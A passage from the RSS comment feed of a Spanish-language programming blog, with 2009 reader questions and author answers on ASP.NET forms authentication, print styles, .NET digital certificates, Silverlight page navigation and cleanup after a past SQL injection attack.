<p><code>&lt;INPUT TYPE="text" name="texto" value="Prueba" /&gt;<br />
&lt;INPUT TYPE="submit" value="enviar" class="noPrint" /&gt;</code></p>
<p>Si te fijas en el botón verás que le apliqué el estilo &#8220;noPrint&#8221; que, en el medio &#8220;Print&#8221;, hace que no se vea.  Ten en cuenta que si quieres aplicar varios estilos a un mismo control puedes hacerlo separando los nombres con espacios, por ejemplo: &#8216;class=&#8221;noPrint botonAzul&#8221;&#8216;.<br />
Espero que se entienda la explicación, cualquier otra duda te invito a nuestro foro donde intentaremos responderte a la brevedad: <a href="http://foro.scientia.com.ar" target="_blank" rel="nofollow">http://foro.scientia.com.ar</a>.<br />
Suerte!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Autenticación por formularios en ASP.NET por epifannio</title>
		<link>http://www.programandoamedianoche.com/2009/10/autenticacion-por-formularios-en-asp-net/comment-page-1/#comment-80</link>
		<dc:creator>epifannio</dc:creator>
		<pubDate>Mon, 09 Nov 2009 17:57:49 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=666#comment-80</guid>
		<description>ok gracias Dario, en un tema que google no me ayudó bastante bien como tú es: Cómo imprimir los datos de un formulario web en asp.net? y mejor si es solo datos por que en los papeles membretados solo hace falta llenar campos vacios al imprimir.

Te cuento que cuando le doy con &quot;window.print() de javascript&quot; me imprime con cabeceras, pies, botones de la página.

Dario muchas gracias por tu ayuda..</description>
		<content:encoded><![CDATA[<p>ok gracias Dario, en un tema que google no me ayudó bastante bien como tú es: Cómo imprimir los datos de un formulario web en asp.net? y mejor si es solo datos por que en los papeles membretados solo hace falta llenar campos vacios al imprimir.</p>
<p>Te cuento que cuando le doy con &#8220;window.print() de javascript&#8221; me imprime con cabeceras, pies, botones de la página.</p>
<p>Dario muchas gracias por tu ayuda..</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Utilizar certificados digitales desde .NET por Dario Krapp</title>
		<link>http://www.programandoamedianoche.com/2009/08/utilizar-certificados-digitales-desde-net/comment-page-1/#comment-79</link>
		<dc:creator>Dario Krapp</dc:creator>
		<pubDate>Fri, 06 Nov 2009 21:59:37 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=570#comment-79</guid>
		<description>Hola Jonathan, 
Alguna vez nos pasó algo similar y el problema estaba relacionado con la longitud de los datos que estabamos intentando encriptar, ahora no recuerdo los límites (creo que eran 117 bytes) pero cuando probamos con datos más cortos el problema se resolvió, claro que no es la idea acortar los datos por que esa opción no es posible en casi ninguna ocasión. 
Quizás una posible solución (al menos a nosotros nos sirvió) sea utilizar algorítmos asimétricos para encriptar las claves y algorítmos simétricos para encriptar la información, ya que estos no poseen esta restricción.  
Espero que esta respuesta te sirva.</description>
		<content:encoded><![CDATA[<p>Hola Jonathan,<br />
Alguna vez nos pasó algo similar y el problema estaba relacionado con la longitud de los datos que estabamos intentando encriptar, ahora no recuerdo los límites (creo que eran 117 bytes) pero cuando probamos con datos más cortos el problema se resolvió, claro que no es la idea acortar los datos por que esa opción no es posible en casi ninguna ocasión.<br />
Quizás una posible solución (al menos a nosotros nos sirvió) sea utilizar algorítmos asimétricos para encriptar las claves y algorítmos simétricos para encriptar la información, ya que estos no poseen esta restricción.<br />
Espero que esta respuesta te sirva.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Autenticación por formularios en ASP.NET por Dario Krapp</title>
		<link>http://www.programandoamedianoche.com/2009/10/autenticacion-por-formularios-en-asp-net/comment-page-1/#comment-78</link>
		<dc:creator>Dario Krapp</dc:creator>
		<pubDate>Fri, 06 Nov 2009 21:31:32 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=666#comment-78</guid>
		<description>Muchas gracias Epifannio, el tema es que generalmente un usuario intenta acceder a una página y luego de la autenticación deseará ir a la pagina que había solicitado originalmente, a menos que haya ingresado a la página de login. 
Para hacer que un usuario según alguna condición vaya a una página determinada, la forma que me parece de hacerlo es la siguiente:


&lt;code&gt;            if (Membership.ValidateUser(&quot;Usuario1&quot;, &quot;Usuario1&quot;))
            {
                FormsAuthentication.SetAuthCookie(&quot;Usuario1&quot;, false);
                if (Roles.IsUserInRole(&quot;Usuario1&quot;, &quot;Rol1&quot;))
                    Response.Redirect(&quot;Default2.aspx&quot;);
                else
                    Response.Redirect(&quot;Default3.aspx&quot;);
            }&lt;/code&gt;

El usuario y clave están hardcodeados en este ejemplo para simplificarlo. El único punto a mencionar es que debés utilizar el método SetAuthCookie de la clase estática FormsAuthentication para establecer la cookie de autenticación (el segundo parámetro indicará si la cookie será o no persitetnte). 
En este ejemplo si el usuario pertenece al rol &quot;Rol1&quot; es redirigido a la pagina &quot;Default2.aspx&quot; y el caso contrario a &quot;Default3.aspx&quot;, pero la condición puede definirse según las necesidades de la aplicación.    
Espero que la respuesta te haya servido.</description>
		<content:encoded><![CDATA[<p>Muchas gracias Epifannio, el tema es que generalmente un usuario intenta acceder a una página y luego de la autenticación deseará ir a la pagina que había solicitado originalmente, a menos que haya ingresado a la página de login.<br />
Para hacer que un usuario según alguna condición vaya a una página determinada, la forma que me parece de hacerlo es la siguiente:</p>
<p><code>            if (Membership.ValidateUser("Usuario1", "Usuario1"))<br />
            {<br />
                FormsAuthentication.SetAuthCookie("Usuario1", false);<br />
                if (Roles.IsUserInRole("Usuario1", "Rol1"))<br />
                    Response.Redirect("Default2.aspx");<br />
                else<br />
                    Response.Redirect("Default3.aspx");<br />
            }</code></p>
<p>El usuario y clave están hardcodeados en este ejemplo para simplificarlo. El único punto a mencionar es que debés utilizar el método SetAuthCookie de la clase estática FormsAuthentication para establecer la cookie de autenticación (el segundo parámetro indicará si la cookie será o no persitetnte).<br />
En este ejemplo si el usuario pertenece al rol &#8220;Rol1&#8243; es redirigido a la pagina &#8220;Default2.aspx&#8221; y el caso contrario a &#8220;Default3.aspx&#8221;, pero la condición puede definirse según las necesidades de la aplicación.<br />
Espero que la respuesta te haya servido.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Autenticación por formularios en ASP.NET por epifannio</title>
		<link>http://www.programandoamedianoche.com/2009/10/autenticacion-por-formularios-en-asp-net/comment-page-1/#comment-77</link>
		<dc:creator>epifannio</dc:creator>
		<pubDate>Fri, 06 Nov 2009 13:36:37 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=666#comment-77</guid>
		<description>Excelente guia funciona perfectamente, un detalle como se puede direccionar a una pagina .aspx específica de acuerdo al tipo de usuario despues de autenticarse?</description>
		<content:encoded><![CDATA[<p>Excelente guia funciona perfectamente, un detalle como se puede direccionar a una pagina .aspx específica de acuerdo al tipo de usuario despues de autenticarse?</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Gustavo Cantero (The Wolf) por Gustavo Cantero (The Wolf)</title>
		<link>http://www.programandoamedianoche.com/gustavo-cantero/comment-page-1/#comment-76</link>
		<dc:creator>Gustavo Cantero (The Wolf)</dc:creator>
		<pubDate>Mon, 02 Nov 2009 13:51:06 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?page_id=481#comment-76</guid>
		<description>Si quieres puedes comunicarte conmigo a través de la ventan del Messenger de esta misma página para ayudarte a resolver los problemas que tienes con tu página.
Estamos en contacto.
Saludos.</description>
		<content:encoded><![CDATA[<p>Si quieres puedes comunicarte conmigo a través de la ventan del Messenger de esta misma página para ayudarte a resolver los problemas que tienes con tu página.<br />
Estamos en contacto.<br />
Saludos.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Gustavo Cantero (The Wolf) por GUSTAVO</title>
		<link>http://www.programandoamedianoche.com/gustavo-cantero/comment-page-1/#comment-75</link>
		<dc:creator>GUSTAVO</dc:creator>
		<pubDate>Sat, 31 Oct 2009 04:51:36 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?page_id=481#comment-75</guid>
		<description>HOLA BUSCANDO SOLUCIONES A UN PROBLEMITA QUE TENGO, QUERIA HACERTE UNA PREGUNATA. TENGO UN APAGINA WEB, YO SOY FOTOGRAFO TURF, EQUITACION Y POLO. ME HACKEAN LA PAGINA SIN IR MAS LEJOS HOY ME CAMBIARON LA MUSICA, DONDE PUEDO BUSCAR A ALGUIEN QUE ME AYUDE?, UN ABRAZO Y GRACIAS POR TU TIEMPO. EL CURRICULUM TUYO QUE LEI ACA ESTA MUY BUENO ESO SE LLAMA DEDICACION NO HAY OTRA PALABRA, UN ABRAZO Y SALUDOS CORDIALES.</description>
		<content:encoded><![CDATA[<p>HOLA BUSCANDO SOLUCIONES A UN PROBLEMITA QUE TENGO, QUERIA HACERTE UNA PREGUNATA. TENGO UN APAGINA WEB, YO SOY FOTOGRAFO TURF, EQUITACION Y POLO. ME HACKEAN LA PAGINA SIN IR MAS LEJOS HOY ME CAMBIARON LA MUSICA, DONDE PUEDO BUSCAR A ALGUIEN QUE ME AYUDE?, UN ABRAZO Y GRACIAS POR TU TIEMPO. EL CURRICULUM TUYO QUE LEI ACA ESTA MUY BUENO ESO SE LLAMA DEDICACION NO HAY OTRA PALABRA, UN ABRAZO Y SALUDOS CORDIALES.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Utilizar certificados digitales desde .NET por Jonathan</title>
		<link>http://www.programandoamedianoche.com/2009/08/utilizar-certificados-digitales-desde-net/comment-page-1/#comment-74</link>
		<dc:creator>Jonathan</dc:creator>
		<pubDate>Wed, 28 Oct 2009 17:50:04 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=570#comment-74</guid>
		<description>Al tratar de desencriptar los datos, nos un error de &quot;Clave Inválida&quot;. el error da en la siguiente linea de código:

objEncryptedData.Decrypt();

Puedo leer certificados, encriptar documentos sin ningun problema.

Por favor si me pueden ayudar,
Saludos,
Jonathan.</description>
		<content:encoded><![CDATA[<p>Al tratar de desencriptar los datos, nos un error de &#8220;Clave Inválida&#8221;. el error da en la siguiente linea de código:</p>
<p>objEncryptedData.Decrypt();</p>
<p>Puedo leer certificados, encriptar documentos sin ningun problema.</p>
<p>Por favor si me pueden ayudar,<br />
Saludos,<br />
Jonathan.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de SQL Injection 100% real por Dario Krapp</title>
		<link>http://www.programandoamedianoche.com/2008/07/sql-injection-100-real/comment-page-1/#comment-73</link>
		<dc:creator>Dario Krapp</dc:creator>
		<pubDate>Wed, 21 Oct 2009 19:48:14 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=13#comment-73</guid>
		<description>Disculpame la demora en contestar, pero no tengo ese script, cuando tuvimos el problema con este ataque tuvimos también la suerte de tener backups de las bases bastante al día, con lo que no hubo pérdida de datos importantes. Quizás lo que haga el script que me comentas es recorrer los campos de texto del servidor y utilizar la sentencia replace de TSQL para eliminar el texto que el ataque generó, pero lamentablemente no tengo ese script, además me imagino que debe depender de la página que hayan definido como destino en el ataque.</description>
		<content:encoded><![CDATA[<p>Disculpame la demora en contestar, pero no tengo ese script, cuando tuvimos el problema con este ataque tuvimos también la suerte de tener backups de las bases bastante al día, con lo que no hubo pérdida de datos importantes. Quizás lo que haga el script que me comentas es recorrer los campos de texto del servidor y utilizar la sentencia replace de TSQL para eliminar el texto que el ataque generó, pero lamentablemente no tengo ese script, además me imagino que debe depender de la página que hayan definido como destino en el ataque.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Paginación en PHP orientada a objetos por Dario Krapp</title>
		<link>http://www.programandoamedianoche.com/2008/10/paginacion-en-php-orientada-a-objetos/comment-page-1/#comment-72</link>
		<dc:creator>Dario Krapp</dc:creator>
		<pubDate>Wed, 21 Oct 2009 19:41:37 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=61#comment-72</guid>
		<description>Muchas gracias Iván, me alegro que ta haya servido</description>
		<content:encoded><![CDATA[<p>Muchas gracias Iván, me alegro que ta haya servido</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Paginación en PHP orientada a objetos por ivan</title>
		<link>http://www.programandoamedianoche.com/2008/10/paginacion-en-php-orientada-a-objetos/comment-page-1/#comment-71</link>
		<dc:creator>ivan</dc:creator>
		<pubDate>Wed, 21 Oct 2009 15:29:59 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=61#comment-71</guid>
		<description>Hola, muy pero muy bueno tú codigo, gracias por compartir :D</description>
		<content:encoded><![CDATA[<p>Hola, muy pero muy bueno tú codigo, gracias por compartir <img src='http://www.programandoamedianoche.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Utilizar certificados digitales desde .NET por Leonardo Quintana</title>
		<link>http://www.programandoamedianoche.com/2009/08/utilizar-certificados-digitales-desde-net/comment-page-1/#comment-70</link>
		<dc:creator>Leonardo Quintana</dc:creator>
		<pubDate>Tue, 20 Oct 2009 20:23:49 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=570#comment-70</guid>
		<description>Hola Gustavo

he verificado los puntos 1 y 2 accediendo directamente a la URL de la CRL que trae el certificado el cual descarga un archivo .crl, y le modifiqué el tiempo de espera, pero aun asi me sigue presentando el mismo mensaje &quot;RevocationStatusUnknown - La función de revocación no puede comprobar la revocación para el certificado.&quot;

Por otro lado tambien estoy intentando firmar con el ejemplo tuyo, pero todos los certificados que posee mi maquina requieren password, no encontre en el ejemplo como le paso el password, le agradezco si me puede por favor indicar como hacerlo.

saludos</description>
		<content:encoded><![CDATA[<p>Hola Gustavo</p>
<p>he verificado los puntos 1 y 2 accediendo directamente a la URL de la CRL que trae el certificado el cual descarga un archivo .crl, y le modifiqué el tiempo de espera, pero aun asi me sigue presentando el mismo mensaje &#8220;RevocationStatusUnknown &#8211; La función de revocación no puede comprobar la revocación para el certificado.&#8221;</p>
<p>Por otro lado tambien estoy intentando firmar con el ejemplo tuyo, pero todos los certificados que posee mi maquina requieren password, no encontre en el ejemplo como le paso el password, le agradezco si me puede por favor indicar como hacerlo.</p>
<p>saludos</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Utilizar certificados digitales desde .NET por Gustavo Cantero (The Wolf)</title>
		<link>http://www.programandoamedianoche.com/2009/08/utilizar-certificados-digitales-desde-net/comment-page-1/#comment-69</link>
		<dc:creator>Gustavo Cantero (The Wolf)</dc:creator>
		<pubDate>Tue, 20 Oct 2009 02:39:31 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=570#comment-69</guid>
		<description>Leonardo:
    Antes que nada, gracias por los elogios.
    Sobre tu consulta: la URL de la lista de revocación está dentro del certificado.  A simple vista parece ser que no puede obtener la lista, y creo que las posibles causas debe ser alguna de las siguientes:
&lt;ul&gt;
	&lt;li&gt;La PC donde está corriendo la aplicación no tiene conexión a internet&lt;/li&gt;
	&lt;li&gt;El servidor donde está la lista está caido o ya no existe&lt;/li&gt;
	&lt;li&gt;Demora mucho en obtener la lista.  Para esto puedes aumentar el tiempo modificando la propiedad UrlRetrievalTimeout asi: &lt;code&gt;objChain.ChainPolicy.UrlRetrievalTimeout = new TimeSpan(0, 3, 0);&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

    Cualquier otra consulta no dudes en escribirnos.
    Suerte!</description>
		<content:encoded><![CDATA[<p>Leonardo:<br />
    Antes que nada, gracias por los elogios.<br />
    Sobre tu consulta: la URL de la lista de revocación está dentro del certificado.  A simple vista parece ser que no puede obtener la lista, y creo que las posibles causas debe ser alguna de las siguientes:</p>
<ul>
<li>La PC donde está corriendo la aplicación no tiene conexión a internet</li>
<li>El servidor donde está la lista está caido o ya no existe</li>
<li>Demora mucho en obtener la lista.  Para esto puedes aumentar el tiempo modificando la propiedad UrlRetrievalTimeout asi: <code>objChain.ChainPolicy.UrlRetrievalTimeout = new TimeSpan(0, 3, 0);</code></li>
</ul>
<p>    Cualquier otra consulta no dudes en escribirnos.<br />
    Suerte!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Utilizar certificados digitales desde .NET por Leonardo Quintana</title>
		<link>http://www.programandoamedianoche.com/2009/08/utilizar-certificados-digitales-desde-net/comment-page-1/#comment-68</link>
		<dc:creator>Leonardo Quintana</dc:creator>
		<pubDate>Mon, 19 Oct 2009 23:16:58 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=570#comment-68</guid>
		<description>hola felicitaciones por el articulo y el código son bastante token.

estoy realizando la validación del certificado, pero después de correr el codigo me muestra el siguiente mensaje:
&quot;RevocationStatusUnknown - La función de revocación no puede comprobar la revocación para el certificado&quot;

que puede estar pasando... entre los parametros se encuentra objChain.ChainPolicy.RevocationMode = X509RevocationMode.Online; que tiene que ver con la CRL pero en donde le puedo decir la URL en la cual debe buscar la CRL o como se hace esta parte.

muchas gracias de antemano.

saludos...</description>
		<content:encoded><![CDATA[<p>hola felicitaciones por el articulo y el código son bastante token.</p>
<p>estoy realizando la validación del certificado, pero después de correr el codigo me muestra el siguiente mensaje:<br />
&#8220;RevocationStatusUnknown &#8211; La función de revocación no puede comprobar la revocación para el certificado&#8221;</p>
<p>que puede estar pasando&#8230; entre los parametros se encuentra objChain.ChainPolicy.RevocationMode = X509RevocationMode.Online; que tiene que ver con la CRL pero en donde le puedo decir la URL en la cual debe buscar la CRL o como se hace esta parte.</p>
<p>muchas gracias de antemano.</p>
<p>saludos&#8230;</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Llamar a funciones de JavaScript desde Silverlight y a métodos de Silverlight desde JavaScript por Gustavo Cantero (The Wolf)</title>
		<link>http://www.programandoamedianoche.com/2009/01/llamar-a-funciones-javascript-desde-silverlight-y-a-silverlight-desde-javascript/comment-page-1/#comment-67</link>
		<dc:creator>Gustavo Cantero (The Wolf)</dc:creator>
		<pubDate>Mon, 05 Oct 2009 22:15:54 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=235#comment-67</guid>
		<description>Para hacer que el navegador &quot;vaya&quot; a otra página, desde Silverlight, puedes utilizar la siguiente linea: &lt;em&gt;System.Windows.Browser.HtmlPage.Window.Navigate(Dirección);&lt;/em&gt;.
Si necesitas comunicarte conmigo puedes hacerlo a través de la siguiente página: &lt;a href=&quot;http://www.programandoamedianoche.com/Gustavo-Cantero&quot; rel=&quot;nofollow&quot;&gt;http://www.programandoamedianoche.com/Gustavo-Cantero&lt;/a&gt;, donde vas a encontrar (debajo de todo) una ventana para que podamos chatear a través del Messenger o un link para hacerlo con el Skype.
Saludos!</description>
		<content:encoded><![CDATA[<p>Para hacer que el navegador &#8220;vaya&#8221; a otra página, desde Silverlight, puedes utilizar la siguiente linea: <em>System.Windows.Browser.HtmlPage.Window.Navigate(Dirección);</em>.<br />
Si necesitas comunicarte conmigo puedes hacerlo a través de la siguiente página: <a href="http://www.programandoamedianoche.com/Gustavo-Cantero" rel="nofollow">http://www.programandoamedianoche.com/Gustavo-Cantero</a>, donde vas a encontrar (debajo de todo) una ventana para que podamos chatear a través del Messenger o un link para hacerlo con el Skype.<br />
Saludos!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Llamar a funciones de JavaScript desde Silverlight y a métodos de Silverlight desde JavaScript por Jesus Castrillo</title>
		<link>http://www.programandoamedianoche.com/2009/01/llamar-a-funciones-javascript-desde-silverlight-y-a-silverlight-desde-javascript/comment-page-1/#comment-66</link>
		<dc:creator>Jesus Castrillo</dc:creator>
		<pubDate>Mon, 05 Oct 2009 22:02:37 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=235#comment-66</guid>
		<description>Gustavo, Gracias por Responder, cambiare esa parte según tu respuesta, pero aun quedo en la duda de como invocar una nueva pagina desde mi pagina Principal despues de autenticar, si me facilitas una direccion de correo, podria enviarte mi proyecto para que lo evalues y veas que tan bien esta y que cosas podria mejorar, ya que en verdad me urge despues de autenticar a mi usuario ir a la nueva pagina Silverlight, del resto Muy agradecido por sus atenciones prestadas.

Jesus Castrillo
P2P Analisis.</description>
		<content:encoded><![CDATA[<p>Gustavo, Gracias por Responder, cambiare esa parte según tu respuesta, pero aun quedo en la duda de como invocar una nueva pagina desde mi pagina Principal despues de autenticar, si me facilitas una direccion de correo, podria enviarte mi proyecto para que lo evalues y veas que tan bien esta y que cosas podria mejorar, ya que en verdad me urge despues de autenticar a mi usuario ir a la nueva pagina Silverlight, del resto Muy agradecido por sus atenciones prestadas.</p>
<p>Jesus Castrillo<br />
P2P Analisis.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Llamar a funciones de JavaScript desde Silverlight y a métodos de Silverlight desde JavaScript por Gustavo Cantero (The Wolf)</title>
		<link>http://www.programandoamedianoche.com/2009/01/llamar-a-funciones-javascript-desde-silverlight-y-a-silverlight-desde-javascript/comment-page-1/#comment-65</link>
		<dc:creator>Gustavo Cantero (The Wolf)</dc:creator>
		<pubDate>Mon, 05 Oct 2009 21:33:45 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=235#comment-65</guid>
		<description>Jesus:
    Yo creo que lo mejor sería que desde la primer página de Silverlight llamaras a un servicio web que autentique al usuario (el Membership de ASP.NET tiene ya creado un servicio web para esto), y luego actualices tu página de Silverlight.
    Si no quieres usar los servicios web del Membership puedes autenticarlo contra tu base de datos y luego hacer lo siguiente (del lado del servidor, en un servicio web):  &lt;em&gt;System.Web.Security.FormsAuthentication.SetAuthCookie(NombreDelUsuario, false);&lt;/em&gt;.  Esto va a generar una cookie del lado del cliente para saber que está autenticado.  Luego, cada vez que quieras saber si el usuario está logeado, puedes usar un código como este: &lt;em&gt;System.Web.HttpContext.Current.User.Identity.IsAuthenticated&lt;/em&gt;, y esta linea para saber el nombre del usuario: &lt;em&gt;System.Web.HttpContext.Current.User.Identity.Name&lt;/em&gt;.  Obviamente tu control Silverlight deberá comunicarse con servicios web para saber si el usuario está autenticado o no.
    Cualquier consulta no dudes en avisar.
    Saludos.</description>
		<content:encoded><![CDATA[<p>Jesus:<br />
    Yo creo que lo mejor sería que desde la primer página de Silverlight llamaras a un servicio web que autentique al usuario (el Membership de ASP.NET tiene ya creado un servicio web para esto), y luego actualices tu página de Silverlight.<br />
    Si no quieres usar los servicios web del Membership puedes autenticarlo contra tu base de datos y luego hacer lo siguiente (del lado del servidor, en un servicio web):  <em>System.Web.Security.FormsAuthentication.SetAuthCookie(NombreDelUsuario, false);</em>.  Esto va a generar una cookie del lado del cliente para saber que está autenticado.  Luego, cada vez que quieras saber si el usuario está logeado, puedes usar un código como este: <em>System.Web.HttpContext.Current.User.Identity.IsAuthenticated</em>, y esta linea para saber el nombre del usuario: <em>System.Web.HttpContext.Current.User.Identity.Name</em>.  Obviamente tu control Silverlight deberá comunicarse con servicios web para saber si el usuario está autenticado o no.<br />
    Cualquier consulta no dudes en avisar.<br />
    Saludos.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Llamar a funciones de JavaScript desde Silverlight y a métodos de Silverlight desde JavaScript por Jesus Castrillo</title>
		<link>http://www.programandoamedianoche.com/2009/01/llamar-a-funciones-javascript-desde-silverlight-y-a-silverlight-desde-javascript/comment-page-1/#comment-64</link>
		<dc:creator>Jesus Castrillo</dc:creator>
		<pubDate>Mon, 05 Oct 2009 21:18:10 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=235#comment-64</guid>
		<description>Saludos Dario, tengo una pregunta y va por el mismo camino de alex con la diferencia que ya cree ciertas partes de mi aplicacion, lo unico que me detiene es el famoso paso de una pagina de silverlight a otra de la misma catergoria, te explico:

Logro Autenticar a mis usuarios y validar que existan en la base de datos, despues de ello, requiero automaticamente invocar o llamar a mi segunda pagina Silverlight de mi solucion... 
 
Es Decir desde mi MainPage.xaml -&gt; Autenticacion -&gt; SecondPage.xaml.

La Pregunta de los Mil Dolares, no se como hacerlo automaticamente.

Si Pudieras Ayudarme seria de mucha ayuda... Muchisimas Gracias... Excelente Blog.

Codigo de Revision de Datos de Autenticacion:

if (r.Result.Count != 1)
   MessageBox.Show(&quot;Clave o Usuario Incorrecto, Verifique Por Favor&quot;);
else

y alli me quedo... Gracias Amigo.</description>
		<content:encoded><![CDATA[<p>Saludos Dario, tengo una pregunta y va por el mismo camino de alex con la diferencia que ya cree ciertas partes de mi aplicacion, lo unico que me detiene es el famoso paso de una pagina de silverlight a otra de la misma catergoria, te explico:</p>
<p>Logro Autenticar a mis usuarios y validar que existan en la base de datos, despues de ello, requiero automaticamente invocar o llamar a mi segunda pagina Silverlight de mi solucion&#8230; </p>
<p>Es Decir desde mi MainPage.xaml -&gt; Autenticacion -&gt; SecondPage.xaml.</p>
<p>La Pregunta de los Mil Dolares, no se como hacerlo automaticamente.</p>
<p>Si Pudieras Ayudarme seria de mucha ayuda&#8230; Muchisimas Gracias&#8230; Excelente Blog.</p>
<p>Codigo de Revision de Datos de Autenticacion:</p>
<p>if (r.Result.Count != 1)<br />
   MessageBox.Show(&#8220;Clave o Usuario Incorrecto, Verifique Por Favor&#8221;);<br />
else</p>
<p>y alli me quedo&#8230; Gracias Amigo.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de &#8220;Alert&#8221; personalizado por Gustavo Cantero (The Wolf)</title>
		<link>http://www.programandoamedianoche.com/2008/07/alert-personalizado/comment-page-1/#comment-63</link>
		<dc:creator>Gustavo Cantero (The Wolf)</dc:creator>
		<pubDate>Mon, 05 Oct 2009 12:58:19 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=11#comment-63</guid>
		<description>Buenísimo! Me alegro!
Saludos!</description>
		<content:encoded><![CDATA[<p>Buenísimo! Me alegro!<br />
Saludos!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de &#8220;Alert&#8221; personalizado por ALEJANDRO</title>
		<link>http://www.programandoamedianoche.com/2008/07/alert-personalizado/comment-page-1/#comment-62</link>
		<dc:creator>ALEJANDRO</dc:creator>
		<pubDate>Sun, 04 Oct 2009 22:25:32 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=11#comment-62</guid>
		<description>Super bueno, este post.
Tenia un problema con el update panel.
con este lo solucione 

Gracias,</description>
		<content:encoded><![CDATA[<p>Super bueno, este post.<br />
Tenia un problema con el update panel.<br />
con este lo solucione </p>
<p>Gracias,</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de SQL Injection 100% real por Lobezno_Xmen</title>
		<link>http://www.programandoamedianoche.com/2008/07/sql-injection-100-real/comment-page-1/#comment-61</link>
		<dc:creator>Lobezno_Xmen</dc:creator>
		<pubDate>Tue, 29 Sep 2009 09:03:54 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=13#comment-61</guid>
		<description>Hola Dario por lo visto el amigo Wiliams ha hecho de las suyas... acabo de encontrar mi web con este codigo:



dentro de los campos de texto.... te aviso por si las tuyas estan siendo atacadas de nuevo.

voy a probar a buscar algo para limpiar, se que existe un script para limpiar la base de datos para no tener que pegarme la paliza uno a uno. Tu tienes algo? 

Gracias por todo.</description>
		<content:encoded><![CDATA[<p>Hola Dario por lo visto el amigo Wiliams ha hecho de las suyas&#8230; acabo de encontrar mi web con este codigo:</p>
<p>dentro de los campos de texto&#8230;. te aviso por si las tuyas estan siendo atacadas de nuevo.</p>
<p>voy a probar a buscar algo para limpiar, se que existe un script para limpiar la base de datos para no tener que pegarme la paliza uno a uno. Tu tienes algo? </p>
<p>Gracias por todo.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Utilizar certificados digitales desde .NET por jonas13</title>
		<link>http://www.programandoamedianoche.com/2009/08/utilizar-certificados-digitales-desde-net/comment-page-1/#comment-60</link>
		<dc:creator>jonas13</dc:creator>
		<pubDate>Thu, 24 Sep 2009 18:05:52 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=570#comment-60</guid>
		<description>Hola..felicitaciones me ha ayudado bastante.
Necesito ayuda, estoy haciendo una aplicacion en vb .net y necesito firma un documento xml o parte de este, para ello tengo una string con la rsa key private (ese texto que esta en base 64 entre ---begin rsa private key  y end rsa private key), mi duda es como firmo este documento teniendo esta llave privada..Un abrazo y ojala me ayudes porfa.</description>
		<content:encoded><![CDATA[<p>Hola..felicitaciones me ha ayudado bastante.<br />
Necesito ayuda, estoy haciendo una aplicacion en vb .net y necesito firma un documento xml o parte de este, para ello tengo una string con la rsa key private (ese texto que esta en base 64 entre &#8212;begin rsa private key  y end rsa private key), mi duda es como firmo este documento teniendo esta llave privada..Un abrazo y ojala me ayudes porfa.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Utilizar certificados digitales desde .NET por Jonathan</title>
		<link>http://www.programandoamedianoche.com/2009/08/utilizar-certificados-digitales-desde-net/comment-page-1/#comment-59</link>
		<dc:creator>Jonathan</dc:creator>
		<pubDate>Wed, 23 Sep 2009 20:41:03 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=570#comment-59</guid>
		<description>Primera que nada felicitaciones un muy buen aporte.
Estoy haciendo una aplicacion vb net, para firmar un documento xml o parte de este, y lo unico que me entregan es un archivo en formato .PEM, y no he encontrado como hacerlo..seria una gran ayuda si me das un empujoncito.
Saludos, Jonathan</description>
		<content:encoded><![CDATA[<p>Primera que nada felicitaciones un muy buen aporte.<br />
Estoy haciendo una aplicacion vb net, para firmar un documento xml o parte de este, y lo unico que me entregan es un archivo en formato .PEM, y no he encontrado como hacerlo..seria una gran ayuda si me das un empujoncito.<br />
Saludos, Jonathan</p>
]]></content:encoded>
	</item>
	<item>
